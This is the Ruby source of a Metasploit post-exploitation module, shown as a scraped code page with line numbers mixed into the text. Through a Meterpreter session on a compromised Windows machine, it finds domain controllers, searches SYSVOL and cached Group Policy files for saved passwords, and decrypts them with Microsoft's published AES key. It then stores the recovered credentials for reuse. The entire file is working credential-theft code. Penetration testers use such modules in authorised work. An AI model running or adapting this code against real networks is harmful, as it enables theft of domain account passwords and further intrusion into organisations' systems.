Path: blob/master/modules/post/windows/gather/credentials/gpp.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::File8include Msf::Post::Windows::ExtAPI9include Msf::Post::Windows::Priv10include Msf::Post::Windows::Registry11include Msf::Post::Windows::NetAPI1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Gather Group Policy Preference Saved Passwords',18'Description' => %q{19This module enumerates the victim machine's domain controller and20connects to it via SMB. It then looks for Group Policy Preference XML21files containing local user accounts and passwords and decrypts them22using Microsofts public AES key.2324Cached Group Policy files may be found on end-user devices if the group25policy object is deleted rather than unlinked.2627Tested on WinXP SP3 Client and Win2k8 R2 DC.28},29'License' => MSF_LICENSE,30'Author' => [31'Ben Campbell',32'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',33'scriptmonkey <scriptmonkey[at]owobble.co.uk>',34'theLightCosine',35'mubix' # domain/dc enumeration code36],37'References' => [38['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],39['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],40['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],41['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'],42['MSB', 'MS14-025']43],44'Platform' => [ 'win' ],45'SessionTypes' => [ 'meterpreter' ],46'Notes' => {47'Stability' => [CRASH_SAFE],48'SideEffects' => [],49'Reliability' => []50},51'Compat' => {52'Meterpreter' => {53'Commands' => %w[54extapi_adsi_domain_query55]56}57}58)59)6061register_options([62OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]),63OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]),64OptString.new('DOMAINS', [false, 'Enumerate list of space separated domains DOMAINS="dom1 dom2".'])65])66end6768def run69group_path = 'MACHINE\\Preferences\\Groups\\Groups.xml'70group_path_user = 'USER\\Preferences\\Groups\\Groups.xml'71service_path = 'MACHINE\\Preferences\\Services\\Services.xml'72printer_path = 'USER\\Preferences\\Printers\\Printers.xml'73drive_path = 'USER\\Preferences\\Drives\\Drives.xml'74datasource_path = 'MACHINE\\Preferences\\Datasources\\DataSources.xml'75datasource_path_user = 'USER\\Preferences\\Datasources\\DataSources.xml'76task_path = 'MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml'77task_path_user = 'USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml'7879domains = []80basepaths = []81fullpaths = []8283print_status('Checking for group policy history objects...')84all_users = get_env('%ALLUSERSPROFILE%')8586unless all_users.include? 'ProgramData'87all_users = "#{all_users}\\Application Data"88end8990cached = get_basepaths("#{all_users}\\Microsoft\\Group Policy\\History", cached: true)9192unless cached.blank?93basepaths << cached94print_good('Cached Group Policy folder found locally')95end9697print_status('Checking for SYSVOL locally...')98system_root = expand_path('%SYSTEMROOT%')99locals = get_basepaths("#{system_root}\\SYSVOL\\sysvol")100unless locals.blank?101basepaths << locals102print_good('SYSVOL Group Policy Files found locally')103end104105# If user supplied domains this implicitly cancels the ALL flag.106if datastore['ALL'] && datastore['DOMAINS'].blank?107print_status('Enumerating Domains on the Network...')108domains = enum_domains109domains.reject! { |n| n == 'WORKGROUP' || n.to_s.empty? }110end111112# Add user specified domains to list.113unless datastore['DOMAINS'].blank?114if datastore['DOMAINS'].match(/\./)115print_error("DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'.")116return117end118user_domains = datastore['DOMAINS'].split(' ')119user_domains = user_domains.map(&:upcase)120print_status("Enumerating the user supplied Domain(s): #{user_domains.join(', ')}...")121user_domains.each { |ud| domains << ud }122end123124# If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again.125# If user supplied domains we do not wish to enumerate registry retrieved domains.126if locals.blank? && user_domains.blank?127print_status('Enumerating domain information from the local registry...')128domains << get_domain_reg129end130131domains.flatten!132domains.compact!133domains.uniq!134135# Dont check registry if we find local files.136cached_dc = get_cached_domain_controller if locals.blank?137138domains.each do |domain|139dcs = enum_dcs(domain)140dcs = [] if dcs.nil?141142# Add registry cached DC for the test case where no DC is enumerated on the network.143if !cached_dc.nil? && cached_dc.include?(domain)144dcs << cached_dc145end146147next if dcs.blank?148149dcs.uniq!150tbase = []151dcs.each do |dc|152print_status("Searching for Policy Share on #{dc}...")153tbase = get_basepaths("\\\\#{dc}\\SYSVOL")154# If we got a basepath from the DC we know that we can reach it155# All DCs on the same domain should be the same so we only need one156next if tbase.blank?157158print_good("Found Policy Share on #{dc}")159basepaths << tbase160break161end162end163164basepaths.flatten!165basepaths.compact!166print_status('Searching for Group Policy XML Files...')167basepaths.each do |policy_path|168fullpaths << find_path(policy_path, group_path)169fullpaths << find_path(policy_path, group_path_user)170fullpaths << find_path(policy_path, service_path)171fullpaths << find_path(policy_path, printer_path)172fullpaths << find_path(policy_path, drive_path)173fullpaths << find_path(policy_path, datasource_path)174fullpaths << find_path(policy_path, datasource_path_user)175fullpaths << find_path(policy_path, task_path)176fullpaths << find_path(policy_path, task_path_user)177end178fullpaths.flatten!179fullpaths.compact!180fullpaths.each do |filepath|181tmpfile = gpp_xml_file(filepath)182parse_xml(tmpfile) if tmpfile183end184end185186def get_basepaths(base, cached: false)187locals = []188begin189session.fs.dir.foreach(base) do |sub|190next if sub =~ /^(\.|\.\.)$/191192# Local GPO are stored in C:\Users\All Users\Microsoft\Group193# Policy\History\{GUID}\Machine\etc without \Policies194if cached195locals << "#{base}\\#{sub}\\"196else197tpath = "#{base}\\#{sub}\\Policies"198199begin200session.fs.dir.foreach(tpath) do |sub2|201next if sub2 =~ /^(\.|\.\.)$/202203locals << "#{tpath}\\#{sub2}\\"204end205rescue Rex::Post::Meterpreter::RequestError => e206print_error "Could not access #{tpath} : #{e.message}"207end208end209end210rescue Rex::Post::Meterpreter::RequestError => e211print_error "Error accessing #{base} : #{e.message}"212end213return locals214end215216def find_path(path, xml_path)217xml_path = "#{path}#{xml_path}"218begin219return xml_path if exist? xml_path220rescue Rex::Post::Meterpreter::RequestError221# No permissions for this specific file.222return nil223end224end225226def adsi_query(domain, adsi_filter, adsi_fields)227return '' unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_ADSI_DOMAIN_QUERY)228229query_result = session.extapi.adsi.domain_query(domain, adsi_filter, 255, 255, adsi_fields)230231if query_result[:results].empty?232return '' # adsi query failed233else234return query_result[:results]235end236end237238def gpp_xml_file(path)239data = read_file(path)240241spath = path.split('\\')242retobj = {243dc: spath[2],244guid: spath[6],245path: path,246xml: data247}248if spath[4] == 'sysvol'249retobj[:domain] = spath[5]250else251retobj[:domain] = spath[4]252end253254adsi_filter_gpo = "(&(objectCategory=groupPolicyContainer)(name=#{retobj[:guid]}))"255adsi_field_gpo = ['displayname', 'name']256257gpo_adsi = adsi_query(retobj[:domain], adsi_filter_gpo, adsi_field_gpo)258259unless gpo_adsi.empty?260gpo_name = gpo_adsi[0][0][:value]261gpo_guid = gpo_adsi[0][1][:value]262retobj[:name] = gpo_name if retobj[:guid] == gpo_guid263end264265return retobj266rescue Rex::Post::Meterpreter::RequestError => e267print_error "Received error code #{e.code} when reading #{path}"268return nil269end270271def parse_xml(xmlfile)272mxml = xmlfile[:xml]273print_status("Parsing file: #{xmlfile[:path]} ...")274filetype = File.basename(xmlfile[:path].gsub('\\', '/'))275results = Rex::Parser::GPP.parse(mxml)276277tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc])278279tables.each do |table|280table << ['NAME', xmlfile[:name]] if xmlfile.member?(:name)281print_good(" #{table}\n\n")282end283284results.each do |result|285if datastore['STORE']286stored_path = store_loot('microsoft.windows.gpp', 'text/xml', session, xmlfile[:xml], filetype, xmlfile[:path])287print_good("XML file saved to: #{stored_path}")288print_line289end290291report_creds(result[:USER], result[:PASS], result[:DISABLED])292end293end294295def report_creds(user, password, _disabled)296service_data = {297address: session.session_host,298port: 445,299protocol: 'tcp',300service_name: 'smb',301workspace_id: myworkspace_id302}303304credential_data = {305origin_type: :session,306session_id: session_db_id,307post_reference_name: refname,308username: user,309private_data: password,310private_type: :password311}312313credential_core = create_credential(credential_data.merge(service_data))314315login_data = {316core: credential_core,317access_level: 'User',318status: Metasploit::Model::Login::Status::UNTRIED319}320321create_credential_login(login_data.merge(service_data))322end323324def enum_domains325domains = []326results = net_server_enum(SV_TYPE_DOMAIN_ENUM)327328if results329results.each do |domain|330domains << domain[:name]331end332333domains.uniq!334print_status("Retrieved Domain(s) #{domains.join(', ')} from network")335end336337domains338end339340def enum_dcs(domain)341hostnames = nil342# Prevent crash if FQDN domain names are searched for or other disallowed characters:343# http://support.microsoft.com/kb/909264 \/:*?"<>|344if domain =~ %r{[:*?"<>\\/.]}345print_error("Cannot enumerate domain name contains disallowed characters: #{domain}")346return nil347end348349print_status("Enumerating DCs for #{domain} on the network...")350results = net_server_enum(SV_TYPE_DOMAIN_CTRL | SV_TYPE_DOMAIN_BAKCTRL, domain)351352if results.blank?353print_error("No Domain Controllers found for #{domain}")354else355hostnames = []356results.each do |dc|357print_good("DC Found: #{dc[:name]}")358hostnames << dc[:name]359end360end361362hostnames363end364365# We use this for the odd test case where a DC is unable to be enumerated from the network366# but is cached in the registry.367def get_cached_domain_controller368subkey = 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\'369v_name = 'DCName'370dc = registry_getvaldata(subkey, v_name).gsub(/\\/, '').upcase371print_status("Retrieved DC #{dc} from registry")372return dc373rescue StandardError374print_status('No DC found in registry')375end376377def get_domain_reg378locations = []379# Lots of redundancy but hey this is quick!380locations << ['HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\', 'Domain']381locations << ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\', 'DefaultDomainName']382locations << ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\', 'MachineDomain']383384domains = []385386# Pulls cached domains from registry387domain_cache = registry_enumvals('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\')388if domain_cache389domain_cache.each { |ud| domains << ud }390end391392locations.each do |location|393begin394subkey = location[0]395v_name = location[1]396domain = registry_getvaldata(subkey, v_name)397rescue Rex::Post::Meterpreter::RequestError => e398print_error "Received error code #{e.code} - #{e.message}"399end400401unless domain.blank?402domain_parts = domain.split('.')403domains << domain.split('.').first.upcase unless domain_parts.empty?404end405end406407domains.uniq!408print_status("Retrieved Domain(s) #{domains.join(', ')} from registry")409410return domains411end412end413414415